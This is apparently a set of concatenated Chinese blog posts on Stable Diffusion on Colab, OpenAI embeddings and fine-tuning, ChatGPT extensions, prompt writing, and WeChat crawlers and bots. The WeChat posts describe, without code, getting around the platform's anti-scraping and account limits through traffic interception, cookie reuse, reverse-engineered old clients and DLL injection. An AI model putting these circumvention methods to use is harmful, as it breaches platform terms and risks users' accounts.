免费的计算单元式有限的,你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。Colab Pro的价格是大概每月75.
在登陆成功并里连接好机器之后,你就可以按照步骤逐步点击操作,每一步点开箭头按钮即可。
这里需要下载的各种内容都会直接下载到你账号对应的Google云端硬盘。
然后是一些比较重要的设置,首先基础的模型包中选择合适的模型,在上篇文章提到过Chilloutmix是一个人像的写实通用模型,正常来说我们都会选择这个。
当然,如果你想要下载其他模型,你也可以在这里填入相应的包链接下载。包括后面的LoRa也是一样。其他的大部分内容都不用更改,直接跑完即可。
最后点击运行启动web ui
然后你就可以直接使用在线版本的stable了,要注意的是免费的colab会有两个问题
1、免费的colab只能连续运行十几小时,再用就必须停一段时间,就又会获得新的免费时间。
2、在使用人数比较多的时候,免费账户可能会申请不到GPU算力。
当然如果你用的是colab pro就不用这么麻烦了。
其实市面上有很多很多的第三方开发AI绘图工具是基于Stable diffusion做的,其中很多都很好用,适当的付费就可以换来非常好用的工具,就比如Civitai中,你就可以直接点击跳转到第三方网站付费运行相应的模型。
除了这些内置的以外,其中有个我感觉比较好用的是Vega AI
这个网站已经把Stable diffusion包装成很接近midjounry的工具了,你可以非常简单的选择模型并输出描述文案,并且可以在图片基础上做反复微调,虽然这都是Stable diffusion本身的功能,但不得不说在包装后更好用了。
在上篇文章讲到Stable diffusion本身的各种用法,其实除了本体以外,Stable diffusion还支持拓展插件,可以有非常不错的功能拓展。
Openpose Editor是一个最近比较流行的骨骼动作编辑插件,你可以直接在下面的链接下载这个插件。
通过这个插件,你可以在一定程度上设定生成图片的人物骨骼结构。从而生成指定的图片。
在导入Openpose插件之后,你可以在上面选择Openpose编辑器
然后选择简单的骨骼结构之后推导到文生图继续编辑,在左下角勾选启用,和低vram模式,其他的基本不用动。
这样就可以跑出来一张指定骨骼样子的图片
除了指定骨骼以外,你还可以通过上传图片来解构图片本身的骨骼,然后再用来指定和生成,这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好,尤其是可以很大程度还原图片本身的样式。
在OpenPose编辑器中使用Detect from image获取图片中的人物骨骼
然后发送到文生图或者图生图里传入关键字。等待一会儿就会生成对应的图了
当然这里这个简单的骨骼绑定还是比较简单的一种,配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。
其实我觉得Stable diffusion里最不实用的关键点就是正向和负向关键字,关键字系统本身相当复杂而且还只能识别英语,并且里面的优先级问题和竞争问题相当复杂,对于使用者来说,这点就是一个相当大的门槛。反之在midjounry中这方面就做的非常好,你可以用中文描述场景在逐步优化。
而现在,你可以用一个简单的ChatGPT插件来实现类似的功能,在配置上chatgpt的api之后你就可以用GPT3.5来解构和构造关键字。
成功安装之后,可以在设置里找到ChatGPT Utilities,点开并配置Chatgpt 的apikey
然后在对应文生图中,script中选择对应的ChatGPT,就会弹出以下的选项卡,我们可以在这里自动生成prompt.
后台会用你设定的ChatGPT apikey去生成图片的prompt
然后会生成对应的图
当然让chatgpt去生成prompt是比较简单的应用方式,你也可以指定部分prompt,然后进一步生成图片。比如
1 | 基于 {prompt},生成不同姿势的粉色头发美女 |
这种情况下,你先去搞一个比较靠谱的prompt,再自定义做修改,就不会像以前一样对超长的prompt无从下手了。当然,我试了几次之后发现,其实chatgpt不太能理解这个预设的prompt,效果没有直接描述场景更好。
生成的图有点儿崩了,这里我就打码了
在研究Stable diffusion的过程中,真的感觉现在这个东西好成熟,没想到AI革命,很多行业都还没革明白,但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器midjounry
]]>1、ChatGPT只能处理文字
2、无论是上下文参考,还是单条对话都有token限制
所以在ChatGPT中,很多应用方向遇到的第一个问题就是如何把问题用文字的方式描述出来,其中最典型的场景就是代码分析。
所以ChatGPT也鼓励使用Embeddings来做类似搜索、分类或者异常检测的分析,这篇文章就讲讲这个。
Embeddings是拓扑学中的一个概念,这个词被普遍提出来是在深度学习领域。抛开复杂的理论不谈,简单来说就是通过数学的方式把一个内容给向量化,用一些非常复杂的向量来代替内容本身。这是一种试图通过数学理论解读问题的方案。
这里我拿一个特别简单的例子来解释一下Embeddings。这里这个例子参考了一个知乎的帖子。
假设我们需要招聘一个程序员,那么我们可以把招聘需求抽象成5个维度,比如会python,写过项目,名校学历,带过团队,性格特点,在5个维度的基础上,我们可以把候选人的能力抽象为数字。
比如说[1,1,0,0,1],当然用0和1是精度比较低的,你可以用0.几来替代每个向量中对预期的符合度。在这个5维的向量标准下,我们可以把多个候选人的简历抽象为多个5维向量组,并且通过对多个5维向量组做一定的数学计算,这样就可以得出最合适的候选人。
当然,这只是一个简单的例子。在深度学习的领域,Embeddings的计算还涉及到核函数的优化过程。对于使用者来说,我们不需要刨开黑盒讨论这些。
在ChatGPT中,openai提供了官方的计算Embeddings的API,当然这是收费的。
通过openai的api,我们就可以把信息转化为Embeddings向量。在Openai的文档中,我们可以看到每个模型的核方案对应的要求以及价格。
其中 text-embedding-ada-002这个模型整体表现最好而且还便宜,更适用于Embeddings。
这里我们还是拿上篇文章的例子来聊,拿我的博客内容来进一步处理。在上篇文章中我们准备数据集的时候就遇到了几个问题。
1、博客内容普遍超过2000token,并且更普遍的是,文章内容中有大量的代码,甚至图片内容
2、可能是由于博客内容分割严重,也可能是由于GPT3本身的学习能力有限,学习的结果很差。
这种情况下,我们就可以尝试用Embeddings把内容向量化,再做进一步的处理。
我们通过把文章本身向量化,然后再把问题向量化,在对比两部分的余弦相似度,最终返回相似度最高的文章。
当然,对比文章相似度这种信息颗粒度还是太低了,理论上来说,你可以选择把文章按照自然段划分并分别处理,当然如何关联多个自然段也是一个问题。
这里我用一个比较简单的例子,把文章按照#划分自然段,然后标上标题,并通过openai的api来计算embeddings.
1 | import pandas as pd |
运行就可以查看到结果
然后我们在这个基础上对上述的向量化数据存档,然后一一对比相似度。
1 | import pandas as pd |
通过这段代码我们在文章中搜索和”ip被封了怎么办?”这个问题相似度最高的段落,最终我们得到答案。
其实说了这么多Embeddings的各种信息,仔细想想,Embeddings是一种把问题抽象化成数学问题的一种手段。其实近几年很多圈子都流行过用数学解决问题,就比如早几年区块链流行用形式化验证做代码分析,大数据流行用相似性验证来做搜索。
但他们大多都遇到了一个类似的问题,就是当你试图用数学抽象问题,会不可避免的让问题本身变得跑偏。如果说原本的程序设计是为了解决问题而不断优化。当你换数学方案来解决问题的后,问题就变成了,如何用数学更准确的描述问题。
Embeddings就是一个很典型的例子,这只是一个比较泛的概念,具体Embeddings的技术方案有很多,无论是基本的热独编码到 PCA 降维,从 Word2Vec 到 Item2Vec,从矩阵分解到基于深度学习的协同过滤。每种概念以及技术方案,都是为了更准确的找到描述问题的维度,更准确计算。
也正是因此,Embeddings虽然是大数据乃至AICG中非常关键的技术之一,但在ChatGPT这个场景中,Embeddings应用的主要作用就是节省tokens。但显然,Embeddings虽然被广泛应用于信息分类和聚合,但在代码分析的场景,Embeddings的表现并不好,在后面的文章中会讲到这些。
]]>首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考,其次,由于ChatGPT学习的内容之庞大,你通过一种直白的方式问不到的答案不一定是他不会,有可能是你问的方式不对。
在ChatGPT的官方文档中,他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案,他把这个方案称之为**“few-shot learning.”**
除此之外,当然他也允许你通过微调功能来对ChatGPT进行一定的训练,来获得一个更符合自己要求的ChatGPT,当然,这个功能是收费的。
但Fine-tuning这个功能目前只能应用于GPT3的基础模型,就目前而言,这个功能其实还不如很多市面上的其他大模型,openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。
首先你需要在openai的api基础上操作,所以你需要一个简单的openai环境。
1 | pip install --upgrade openai |
当然你需要提前配置openai api key,这个key可以在openai的平台后台获得,这里就不多说了。
1 | export OPENAI_API_KEY="<OPENAI_API_KEY>" |
首先我们需要准备相应的训练数据,这个数据文件都必须是JSONL文件,每行都是一个提示对,类似于
1 | {"prompt": "<prompt text>", "completion": "<ideal generated text>"} |
一般来说,你提供的训练示例最好有几百个,训练数据会直接影响到最终模型的质量。
你可以用openai提供的工具来验证和处理。
1 | openai tools fine_tunes.prepare_data -f <LOCAL_FILE> |
你可以提供CSV, TSV, XLSX, JSON,JSONL格式的训练数据
在准备好相应的训练数据之后,你可以用opanai的工具来创建微调后的模型。
1 | openai api fine_tunes.create -t <TRAIN_FILE_ID_OR_PATH> -m <BASE_MODEL> |
当然,这里指定的基础模型只包含GPT3的部分,包括ada, babbage, curie,davinci
当然由于这个功能并不是在本地完成的,在openai的平台中可能会排在几小时之后。你可以随时中断这个任务。并随时恢复进程。
1 | openai api fine_tunes.follow -i <YOUR_FINE_TUNE_JOB_ID> |
在成功训练完成之后,你会获得相应的模型id。你就可以通过对应的模型id来使用它。
当然你也可以随时删除这些模型。
1 | openai api models.delete -i <FINE_TUNED_MODEL> |
我研究了一些相应的训练范例实践,其中还有很多有意思的方案。我挑了一些比较有特点的选出来。
1、否定训练
如果你在和ChatGPT的对话当中,遇到反馈的事实错误,你可以通过否定训练来排除这部分并更正
1 | {"prompt":"testtest", "completion":" yes"} |
2、情感分析
在ChatGPT的配置中,有个很重要的参数就是情绪值。很显然,ChatGPT的情绪肯定不是空穴来风,这本身是基于数据集训练的结果。
当然,你也可以通过微调来对你数据集标注情绪以此训练
1 | {"prompt":"Overjoyed with the new iPhone! ->", "completion":" positive"} |
你可以通过api来获取prompt对应的情绪判断值。
3、分类
如果你想要ChatGPT帮你完成分类的工作,那最好的方案是提供范例并以数字作为标志.
1 | {"prompt":"test", "completion":" 1"} |
通过数字标志可以帮助ChatGPT更准确的对目标做分类。
4、样本处理与提取
如果你需要用ChatGPT来完成样本提取工作,你可以用一些简单的多行范例来举证。
1 | {"prompt": |
理论上来说,你可以提供大量的样本标准文本的提取方案。
5、聊天机器人
如果你需要完成一个聊天机器人的功能,最好的办法是给ChatGPT提供问题以及大量回答样本,这样可以让ChatGPT学习他应该回答的内容。
1 | {"prompt":"Summary: <summary of the interaction so far>\n\nSpecific information:<for example order details in natural language>\n\n###\n\nCustomer: <message1>\nAgent: <response1>\nCustomer: <message2>\nAgent:", |
你可以像这个范例中讲的一样,按照问题回答场景来划分提示词。
接下来跟着前面的每一步来训练一个自己的ChatGPT,首先我们需要准备一份数据集。这里我选择用我的博客内容来做初步的内容训练。
用一个简单的python3脚本来处理所有的md文件并生成对应的jsonL文件。
这个prompt的范例比较粗暴,不是很靠谱的,只是测试一下。
1 | import os |
然后我们用openai来处理一下这部分数据集
他会给你一些修改意见和处理方案,并且会自动处理一下你的数据集。
然后我们在基础的4个GPT-3模型中选取一个作为基础模型,其中**davinci这个模型要相对来说更强大,也更适合进一步培养。但要注意的是,davinci相比之下贵10倍还多**。
1 | openai api fine_tunes.create -t .\output_prepared.jsonl -m davinci |
要注意这一步是要翻墙的,不然无法上传文件。
等待微调的任务处理完成。如果不小心中断,可以用follow继续
1 | openai api fine_tunes.follow -i ft-PcXP6lbEZKDHo3ez8986RWmZ |
之后就是等待结果即可,我自己研究了一下发现这个东西有点儿贵的我训练集数据也就400多条,还用了比较便宜的curie模型,结果还花了10刀。
训练完成之后你就可以使用这个模型来交互。但我研究了一下,这个微调后的Chatgpt只能用Complete功能,你可以使用api或者platform来调用这个模型。
但还是那句话,这个方案问题相当之大,一个是GPT3在现在的大模型中是比较菜的,先不说GPT4,连3.5什么时候上线这个功能还遥遥无期,另一方面就现在的内容而言,训练的结果和价格其实不太成正比,一方面微调这个功能很依赖训练的数据有效度,你简单的拿一大堆数据来搞不但很贵还效果不好,你精心准备各种提示词和内容又违背了本身依靠ai来做总结归纳的初心,所以现在市面上更多的基于chatgpt的第三方工具,都是用了一些其他的方案。
在前面的文章中,其实有讲到这个关键点,虽然ChatGPT不会学习来自互联网上的任何对话信息,但为了保证对话的流畅性,ChatGPT会记录每个对话session的上下文并在这个基础上对你进行反馈。
所以就衍生了一种相关的方案,通过储存上下文来实现简单的训练,这个东西最大的优势是可以使用现在大模型中最领先的GPT4模型,而问题是,这种方案只能实现特别简单的训练,尤其是不能太多条+长度过长!
很多第三方的ChatGPT和一些浏览器插件其实都实现了类似的功能。这里拿我使用的第三方ChatGPT来看看这个功能。
首先是你可以在对话之前对其预设面具,这个东西可以有很多预设内容。这里我们只假设了一个比较简单的基础设定。当然这只是一个简单的人设面具,你也可以通过特别具体的prompt来作为基础了,这部分内容在前面的文章中讲到过。
我们再回到魔兽的小助手上,我们再提供一下相关的数据。把相关的数据以及条件放在方案预设之中。这里提前准备好相应的数据内容。
通过设置前置上下文,可以在一定程度上影响ChatGPT的功能以及表现,来实现一个简单的自定义ChatGPT。
除此之外,ChatGPT-Next-Web本身也有消息摘要功能,会总结前几条发送的内容摘要。附加到请求中。
要注意的是,这个方案更适用于和ChatGPT本身功能类似的场景,大部分是文字类相关的,主要是设定场景和人设。在一定的限定场景下并控制回复,就比如非常经典的文案辅助、批改作文等等。
但单纯的预制prompt不适用于有大量基础数据的特殊模型,当然,魔高一尺道高一丈。也有不少产品用了一些旁敲的方案。还是拿刚才基于博客文章训练的问答机器人来举例子。
如果单纯的靠文章数据总结或者干脆直接拿博客文章来训练,这份数据集很大而且内容冗杂,直接训练的效果很不好,所以更靠谱的方案是,在ChatGPT前面挂一个数据库。
用户输入问题的时候可以简单的拆解关键词然后从数据库查询结果,然后再作为上下文传到ChatGPT,并由ChatGPT做总结和摘要。
但这种基于上下文的训练方案问题比较多,专业性越强的效果就会越差,内容越多效果也会越差,所以这其实也算是一种临时方案,与实际训练过的效果差很多。
其实抛开ChatGPT以外,现在市面上还有非常多比较靠谱的LLM大模型,虽然和GPT4都有很大的差距,但能比拟GPT3.5的大模型已经相当多了。
我思来想去,感觉这个问题还比较多,这部分内容我打算专门拆到另一篇文章里再说。
]]>公众号爬虫在我看来按理说应该是老掉牙的技术了才对,2012年8月17日,微信公众平台正式向普通用户开放。而正式上线则是8月23日,命名为“官号平台/媒体平台”。
微信从制作公众号开始其实意图就是在微信的平台基础上营造一个新的互联网生态,而公众号早期就有搜索和爬虫的问题在,而早期的微信公众号搜索大部分都是基于搜狗搜索制作的。
但比较麻烦的问题是,搜狗搜索在使用的过程过程中加入了很多很多限制。
主要的问题就是后面这个限制,如果爬虫搜到的文章链接都是临时的,那你爬取的结果就只能用作临时处理,这显然不符合大部分人的需求。所以这种爬虫方式已经被废弃了,市面上主流的公众号爬虫都不使用这个方案。
2019年后这类爬虫工具纷纷失效
在搜狗搜索之后,爬虫的从业者又开始想点子了,既然没有办法在互联网上搜索到公众号,那就把视角回到微信上面,基于中间人代理的方式抓取数据。简单来说就是通过mitm来拦截微信中对公众号的请求,并对内容做处理。Github上高星的微信公众号爬虫都是基于这个方案制作的。很可惜的是,哪怕是最新的工具最少都是3年前才更新过。
这个爬虫有几个比较大的问题
被封禁的微信账号不能访问公众号的历史文章,不影响其他的任何功能,比较有意思的一点是,这个功能我在新版本的微信中找不到了,换成了一个其他的页面。
如果你尝试使用中间人的方案去爬微信公众号的文章,那么你会在触发反爬规则之后被阻止访问触发规则的页面(我猜测是这样,我被封了3个号都没找到被封的具体原因),这样的话可以最小限度的避免对普通用户的影响,毕竟普通用户刷微信公众号的频率也很高。但事实则是,由于我们无法访问历史文章列表,即便我们还可以读取文章内容,但也无法实现自动更新了。
其实到上一个方案已经涵盖了99%的主流方案了,现在随便搜一搜微信公众号爬虫基本都是3年前左右的东西基本都是基于中间人做的,这也给了我很大的困扰,我不知道是不是真的有现在还能用的工具,但我的确找不到一个很靠谱的方案。
在我努力挖掘下,我找到了一些零散的接口,可以用来获取某些信息。
不知道大家有没有用过微信公众号的后台,新建草稿箱里插入超链接可以引入微信公众号的链接。
选择公众号之后可以通过下面的文章列表来查看,这里可以获取到所有的文章链接,然后再利用前面的中间人方案爬取文章内容。
这个方案最大的问题就是cookie会失效,不是全自动,就是需要每隔几天更新一次cookie还是挺麻烦的。
并且公众号的这个功能也有反爬,相比单篇的页面内容爬取,公众号的这个功能使用频率更低,你可能需要设置3分钟以上。但总得来说起码可以实现我们的目的。
前面零零散散的讲了很多方案,现在我们把视角转回到这个事情本身上,看看问题的难点到底在哪里。
首先,爬虫的第一部分就是,标志微信公众号的东西是什么?
微信公众号和微信不太一样,没有微信号之类的存在,所谓公众号名呢更是可以修改,所以在公众号的体系下引入了名为biz的标志码,当我们随便打开一篇微信文章,就可以从源代码里搜到这个标志码。
这个base64编码过后的字符串就是微信公众号的id,通过__biz可以获取微信公众号的很多内容,其中就包括微信公众号的信息。在之前的很多文章当中,大量的引入了使用biz获取微信公众号信息的方案。
但不知道从何时开始,微信在这个页面加入了对应的限制,如果浏览器直接访问会返回。
这里插入一个笑话,我在搜索相关资料的时候看到的。:>
网上搜索到的信息到这里基本都是错的,事实上在现在微信的防护策略里面,是对页面的分级策略的,在pc版本的微信打开的每一个弹出窗口,大部分都是web页面,其中的区别是,点击链接只是单纯的使用内置浏览器打开页面,而点击内置功能,则可能使用在中间加入额外的限制以及权限验证,就比如前面的链接,就是验证了微信账户,如果没有相应的权限则返回”请在微信客户端打开链接”,这点可以用一个特殊的方式来验证。
1 | Wechat.exe -remote-debugging-port=9222 |
通过加参数的方式打开微信并登录之后,随便打开一个页面,并访问http://127.0.0.1:9222/json,我们可以在返回中找到对应的链接,这个接口是webdriver的CEF协议接口。
而更大的问题在于,这套老版本pc微信被废弃了,新版本的微信废弃了这部分的实现方案。
我用了一些方案去调新版本的微信,我发现解决问题的难度已经远大于问题本身,于是,解决问题的方案还是回到老版本的方案中。
相比公众号爬虫来说,可能微信机器人对于很多人都是一个远古的记忆。比起微信机器人来说,其实大家了解更多的可能是qq机器人,又或者是基于微信公众号或者企业微信使用的机器人,再到后来大家比较熟知的类似于飞书机器人。但微信机器人其实是一个相对比较空白的场景,主要是定位的区别。
qq机器人的发展史及其复杂,早期的qq技术力比较弱,很多qq机器人的用的都是直接逆向qq用底层的接口实现的。甚至早期有大量的qq机器人就是直接用qq的接口重写实现。
到中期,以酷Q为代表的基于Docker和wine实现的酷Q on Docker成为更稳定和主流的实现方案,当然,在2020年由于腾讯的执法追责,酷Q下线,很多第三方QQ机器人就此结束。
当然除了早期的各种机器人以外,还有很多至今为止仍然好用的东西,其中一个很有名的就是mirai。
与此同时,QQ也推出了内置的机器人接口,甚至也推出了官方机器人可以直接添加到qq群里,除了qq群还有qq频道的专属机器人,开发者可以直接用官方的平台来定制化机器人实现。
相比QQ漫长而又复杂的变化来讲,其实微信机器人的演化更为粗暴。
早期的微信机器人大部分都是基于微信web版本
既然有方案,那自然也就有相对的方案,一个是web版本的微信在后续的更新中删除了很多很多功能,基本没剩下什么接口了,而且cookie的过期时间也被加速了,几个小时就会掉。另一个是现在权重低的微信号(小号、新注册的)根本就没办法登录web版本的微信,所以这个方案在后续的演化中被放弃了。
类似QQ,微信相对的也拆分出了很多场景,在微信中承担交互作用的是公众号、订阅号、小程序。而公众号、订阅号和小程序都有相应的api和平台用于实现自动回复以及交互功能。
之前比较主流的机器人+扫描器场景,其实都是在这个基础上实现的交互方案,这个东西有api可以用,也有很成熟的库可以直接调。企业微信也提供了自建应用的方案来实现类似的功能。
作为机器人无法解决的问题就是群管理和好友管理问题。但其实微信也设计了相应的场景就是企业微信,在企业微信的后台可以直接新建客户群,并且依托客户群的功能来管理微信群。这里有个很大的优势是,微信群默认超过200人就不能通过二维码进群了,而客户群可以配置用一套模板自动建群进群,原意应该是为了维护私域客户群。
比如说如果想通过API来交互调用消息推送到所有客户群,企业微信也提供了相应的API,但是每个用户每天只能推送一次。
但是以上的所有方案里面最大的问题在于企业微信的很多功能都是需要认证之后才能用。
而且这个东西还挺坑的一点在于,这个认证不是直接付费使用,而是必须用公司营业执照或者法人代表等东西认证。
而更坑的是企业微信的外部群,就是前面提到的客户群,目前是阉割功能的,不能添加类似群机器人的东西。这个东西几年前就是这样,可能企业微信不希望你用这种方式管理群。
除了比较基础的群管理,自动回复等等以外,企业微信的小程序接口也是自由度相当高。这块东西是很多人使用企业微信的主因之一
在这里创建企业微信应用之后,可以直接通过相应的api来向应用发送消息,也可以配置api接受消息来实现信息的交互。
就比如现在很流行的给微信机器人接ChatGPT,其中就比如
就支持通过API接受消息来实现和chatgpt的交互。
但我又遇到了一个新的问题就是,怎么把企业微信的内部应用对外使用呢?正常来讲,企业微信自建应用主要是对内的,企业内部使用,企业微信本身其实没有设置相关的场景。
之前也看到过那种用这个方案实现应用对外共享的应用,他们直接选择建一个企业卫星来解决这个问题,用户可以直接加入企业然后使用工作台里的自建应用。
在我研究了一段时间之后,抛开企业微信的企业内场景,现在微信也提供了官方的智能对话接口可以实现类似于微信客服的东西。
在微信对话开放平台你可以自己注册一个自己的机器人,在这里你可以通过很多种方式配置自动回复,其中有比较简单粗暴的培养式,也有高级的基于接口开发。
除了简单的对话式设定,还支持高级的词典式解读对话。当然我觉得相对比较实用的是在高级对话里可以关联接口,甚至可以自定义接口,这就为这个接口增加了很多的可能性,你可以通过自定义接口来实现某些功能。
通过微信客服的接入功能,我们可以用微信的智能客服来替代原本只能自动回复的原客服机器人,用户可以在客户群里添加客服助理并对话。
)
我花了一段时间把相关的各种api都研究了一遍,但其中的问题都不少,主要问题就是他总是有各种各样的限制场景,相比可以自由操作的普通微信账号功能差距还是很大。
抛开官方提供的方案以外,和qq的方案类似,微信机器人也用了类似的逆向破解接口的方案来实现对部分功能的调用,其中很大程度上依赖的是历史版本的微信,这也得益于微信对于旧版本的支持,很多机器人运行的还算流畅。
我研究了很久,现在比较成熟的工具是可爱猫。
当然由于各种各样的原因,可爱猫现在已经没有公开的渠道获取了,想要的话需要找社群去弄。而可爱猫虽然是一个易语言写的工具,但是却实现了一套很成熟的http接口插件方案。
通过插件可以配合自己实现的web接口来实现各种各样的功能
整体还是比较简单好用的,唯一的问题是可爱猫在服务器运行会有很大的概率导致微信闪退,最关键的是无法稳定。我曾经稳定运行了半年,之后一直闪退怎么都开不起来,再到后来突然又好了。
除此之外,还有很多类似的方案可以直接操作微信的dll
但是这个东西最大的问题是容易封号。我了解了以下是第一次警告踢下线,第二次封号。
顺这个我也看了不少相关的东西,有比较靠谱的方案就是直接在桌面版的微信上注入DLL操作。
这个方案据说比较靠谱。使用这种方案最大的优势就是你可以操作完成微信中需要的各种部分,就比如监控管理好友、群,自动回复私聊和微信群消息。
其实前面记录了那么多,大体上把过去的很多方案都聊到了,这篇文章其实是没有讲到什么新东西,主要是花时间在研究已经有的东西,其中遇到最多的问题,就是探索微信官方对于各类功能的程序是如何认可和定义的。这本身不是一个技术上的问题,所以很多部分只能逐渐探索,无法得到准确的结果。
]]>而ChatGPT本身的问题也很多,ChatGPT在使用上最大也最明显的革命,其实是对自然语言的处理能力,抛开太多专业性的术语,你在使用的过程中也能明显感觉到,ChatGPT甚至在某些方面有着比正常人更厉害的解读能力,它可以把一段模糊的要求和文字解读成需求,最牛逼的是它还支持中文,毕竟理论上中文的自然语言处理难度是几个量级。
拿下面这个图举例子,我感觉我都没说明白,但却获得了答案。
除了强大的自然语言处理能力,以及大模型背景下庞大的数据以外。ChatGPT还有很多明显的缺点,其中最直白的问题就是数据的过时以及不联网问题。目前ChatGPT的训练数据集截止到2021年,而没有准确数据集的数据,ChatGPT就没有置信数据可以参考,而这类问题ChatGPT就会通过某种方式自我学习产生,而他的结果就会产生各种各样的错误。
当然,为了避免大数据污染等等问题,ChatGPT目前公开对外使用的接口,最多只会参考部分上下文以及限定单个对话session中做学习优化,但不会对用户的输入做学习。
为了解决这个问题,ChatGPT选择了用第三方插件作为媒介,让AI在比较安全的环境学习外界的数据,最早的合作公司由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram 和 Zapier 创建。
其中的各种插件可以覆盖大部分的场景,包括:
除此之外呢,ChatGPT官方还提供了两个插件,一个是网络浏览器,另一个是代码解释器,并开源了一个知识库检索插件的代码。现在,任何开发人员都可以自行构建插件,用来增强 ChatGPT 的信息库了。从这里开始ChatGPT+的概念算是诞生。
虽然目前这部分的插件还只是开放给了候补名单中的用户和开发人员,但计划中即将开放给部分ChatGPT plus的用户了。
除了ChatGPT官方的插件以外,还有很多以各种各样的方案实现的ChatGPT衍生产品,其中有很多意思的东西,这里我就推荐几个比较有意思的
https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn
WebChatGPT是一款Chrome的插件,它可以用一个特殊的方案来实现ChatGPT的联网,来让ChatGPT的返回数据更准确更新。
他的实现方案特别有意思,简单来说,他会先把你的问题拿去搜索引擎上搜,然后把结果喂给ChatGPT,然后让ChatGPT以搜索结果作为上下文学习,之后再回答你的问题。
插件安装成功之后,你的对话框上多了很多的参数
Web access(是否要开启联网功能)、X results(想要它列出几条来源)、Time(多久之前的资料)、Region(哪个地区的资料),以及最右边的Prompt(默认指令)
通过配置参数并开启,你可以获取到非常有时效性的内容,比如说询问天气。因为正常来讲你询问chatgpt天气会返回这样的内容。
但如果你使用这个插件,你就可以获取这样的结果。
但要注意的是,由于插件的实现方式(通过输入搜索内容关联上下文),使用WebChatGPT会大幅度削减原本对话中的上下文关联度,所以一般来说只有特定的场景下才使用这个插件。
这个插件是Google for ChatGPT的进阶,它集合了你在上网过程中会遇到的各种问题和场景,并通过chatgpt来辅助使用。
当然,这个玩意现在越来越成熟了,所以它也开始收费了,大家可以自己感受一下
这个插件最常见的功能就是搜索辅助,会直接对你google的搜索结果做优化,直接返回你i想要查询的结果。可以大幅度节省找到答案的时间。最牛的是,它还支持百度。
除此之外,还有一些比较有意思的东西,比如说划词右键解释
使用ctrl+m可以打开侧边,这里有两个功能,一个是聊天和写作辅助
它还可以提供阅读功能,可以直接给它一篇文章,然后让他阅读,他会直接给你返回文章的摘要。
你可以通过这个对话聊天功能来快速的阅读一篇文章。
AutoGPT诞生没多久,比起这个东西本身的效果,AutoGPT本身的思路和理念很有意思,AutoGPT依托于GPT4强大的算力和思考能力,对你的需求进行解构深入。比较麻烦得是,AutoGPT对算力的依赖比较强,GPT3.5能用但是很难用。而且由于AutoGPT的理念
AutoGPT就像一个不知疲倦的实习生,他会对你下的指令进行多重解构,并对当前的问题持续发散探索更多话题。
这里有个小例子,假设我想要一个web扫描器但是没有指定任何要求(你可以通过增加要求来优化回答的导向
auto-gpt在分析了我的需求之后,提出了一个计划,是先去找一个网上的扫描器然后再根据需求改进,还提醒我小心代码的安全问题,不要盲目的clone代码。
如果我们继续让他分析,他会继续把分析的内容细化并深入,你也可以指定连续多步去分析。
当然除了让他继续分析,你也可以给与一些人工的干预,比如我说我不想要别人的代码,我想要自己写,他指出我们需要好好分析需求。
其实现在阶段的AutoGPT更多还是一个概念产品,使用上的体验更接近一个demo。比起实际意义,AutoGPT通过反馈较正的方式给我们呈现了一种机器思考的感觉,很有趣。
这篇文章里我们讨论的大多都是现在已经成型的一些基于chatgpt的拓展,作为使用者我们能做的很多只有适应时代,下篇文章我们就讲讲,在chatgpt的基础上我们作为开发者能做什么?
]]>其实从ChatGPT诞生至今,所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式,甚至现在已经诞生了所谓的prompt工程师。
这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。
首先ChatGPT在自然语言的理解上虽然有着领先时代的表现,但事实上ChatGPT并不是你的蛔虫,你试图通过简单的问题获得准确的回答是不可能的,也不现实。
这里我也用一下,在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问,那么chatgpt的回答就会模糊而概括。
随着大家的探索,逐渐诞生了两种常用的扮演法指令模式,也就是4A & 4W。
4A模型是Prompt中比较典型的例子,晚上大部分流行的提问方式都是这个结构,还是拿减肥举例子,这一次我提供了我的身高和体重,并且给他赋予了角色定位。
相比之前更简单的提问,ChatGPT给了更具体的回应以及更详细的范例,但实际上在这个范例中,虽然内容详细但事实上没有太具体的计划。
在这个基础上,又有人提出了4W模型。
我们把前面的问题换个问法
这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散,进而进一步的反馈详细的内容和反馈。
事实上ChatGPT对于问题的回答并不是一定的,相比4A模型,4W模型的反馈质量更高反馈也比较直白,在GPT4版本之后发散度也更高,也是现在比较主流的扮演提问法。
但事实上,4W的基础提问法只是比较通用的问法,但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。
根据他的反馈,我们直接找其中一个人,让ChatGPT扮演这个人来提供建议。
在这种情况下,ChatGPT有可能,注意是有可能,会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高,因为他很有可能是基于已有的内容生成的。但这并不绝对,因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。
这里我们也一起看一看openai公开的prompt最佳实践,里面其实也是提到了一些我们熟知的,这里我提取几个比较关键的点。
1、把指令放在Prompt的开头,并且用###或者”””来分割指令和上下文。
1 | 我需要把下面这段代码压缩到一行 |
2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细
3、通过示例阐述所需的输出格式
其实也很好理解,你可以用一些范例来表达你想要的内容,来帮助chatgpt矫正结果。
4、先不提供范例,再尝试给出范例,然后根据返回微调。
5、减少不精确的描述。
比起“我想要一段短小的内容”,最好直接指明内容的长度,比如“我想要一段100字左右的内容”
6、与其说什么不该做,不如说什么该做。
7、在想要生成代码的时候,使用引导词让模型向特定的模式发展。
在openai的范例中,他用import作为python的引导词,用select作为sql的引导词。
其实相比简单的提问式回答,现在的Prompt相关的内容已经相当成熟了,比如github上现在有很多类似的项目,整理了大量的经典Prompt场景
甚至已经有相当成熟的网站分享相关的信息https://www.explainthis.io/zh-hant/chatgpt
除了这种简单的指令分享,甚至还有更牛逼的直接把这个东西直接包装成产品,直接辅助你去写各种prompt。
